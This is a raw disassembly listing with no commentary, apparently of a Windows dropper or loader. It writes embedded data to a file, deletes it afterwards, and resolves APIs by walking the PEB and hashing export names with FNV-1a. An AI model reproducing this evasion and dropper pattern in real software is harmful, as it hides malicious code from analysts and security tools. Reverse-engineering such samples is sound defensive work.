movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x38], r14
lea rax, [rsp + 0x58]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000baf0
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x50]
call fcn.1400021c0
mov r8d, 0x76400
lea rdx, [0x140201c00]
lea rcx, [rbp - 0x50]
call fcn.1400044b0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000bb59
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb54
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000bf0f
call fcn.140075f50
xor edx, edx
lea rcx, [rbp + 0x38]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140079f30]
lea rcx, [rbp + 0xe0]
mov qword [rbp + 0x30], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp + 0x40]
xor r8d, r8d
lea rcx, [rbp + 0x30]
or r13d, 1
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x30]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x30], rdi
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0xbc], 0
lea rcx, [rbp + 0x40]
mov qword [rbp + 0x40], rax
mov byte [rbp + 0xb1], 0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x140278c78]
lea rdx, [rsp + 0x58]
mov r9d, 0x40
mov qword [rbp + 0xb4], rax
mov r8d, 1
mov qword [rbp + 0xc0], r14
lea rcx, [rbp + 0x40]
mov qword [rbp + 0xa8], r14
call fcn.140005dc0
test rax, rax
jne 0x14000bc45
mov rax, qword [rbp + 0x30]
xor r8d, r8d
mov edx, 2
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
mov rcx, qword [rbp + 0x30]
movzx ebx, al
movsxd rdx, dword [rcx + 4]
mov qword [rbp + rdx + 0x30], rdi
mov rcx, qword [rbp + 0x30]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0x40]
lea r8d, [rdx - 0xb0]
mov dword [rbp + rdx + 0x2c], r8d
call fcn.140002d30
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
test bl, bl
je 0x14000bd04
mov ebx, dword [rbp + 0x140]
lea rax, [rsp + 0x58]
xorps xmm0, xmm0
mov qword [rbp - 0x40], r14
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x38], r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000bcc3
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x50]
call fcn.1400021c0
mov edx, ebx
lea rcx, [rbp - 0x50]
call fcn.140004e20
mov r8, qword [rbp - 0x38]
movzx ebx, al
cmp r8, 0xf
jbe 0x14000bd00
mov rdx, qword [rbp - 0x50]
lea rcx, [rbp - 0x50]
call fcn.140003ba0
test bl, bl
jne 0x14000bd09
call fcn.1400046b0
mov ecx, dword [rbp + 0x140]
call fcn.140005870
test al, al
je 0x14000be02
nop dword [rax]
mov rax, qword [0x140278cd0]
test rax, rax
jne 0x14000bde8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000bdc8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000bdc8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14000bdc3
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x14000bda0
cmp edx, 0x2fa62ca8
je 0x14000bef3
test r8d, r8d
jne 0x14000bd80
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000bdde
cmp qword [rax + 0x30], 0
jne 0x14000bd50
mov rax, r14
mov qword [0x140278cd0], rax
mov ecx, __WSAFDIsSet
call rax
mov ecx, dword [rbp + 0x140]
call fcn.140005870
test al, al
jne 0x14000bd20
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
jmp 0x14000b3f0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000b2ef
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000b3bf
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000b4b1
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x14000b581
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ecx, dword [rcx + rdx*4]
add rcx, r9
jmp 0x14000b6b0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000b780
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000b850
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000b920
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000bde1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f50
int3
call fcn.140003f50
int3
lea rcx, [0x140278c70]
call fcn.140076204
cmp dword [0x140278c70], 0xffffffff
jne 0x1400074af
mov rax, qword [0x140278cf0]
test rax, rax
jne 0x14000c003
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000bfe4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000bfe4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000bfdf
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14000bfc0
cmp edx, 0x18017917
je 0x14000c01d
test r8d, r8d
jne 0x14000bfa0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000bff9
cmp qword [rax + 0x30], r13
jne 0x14000bf70
mov rax, r15
mov qword [0x140278cf0], rax
call rax
lea rcx, [0x140278c70]
mov qword [0x140278c68], rax
call fcn.140076198
jmp 0x1400074af
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000bffc
call fcn.140003d30
int3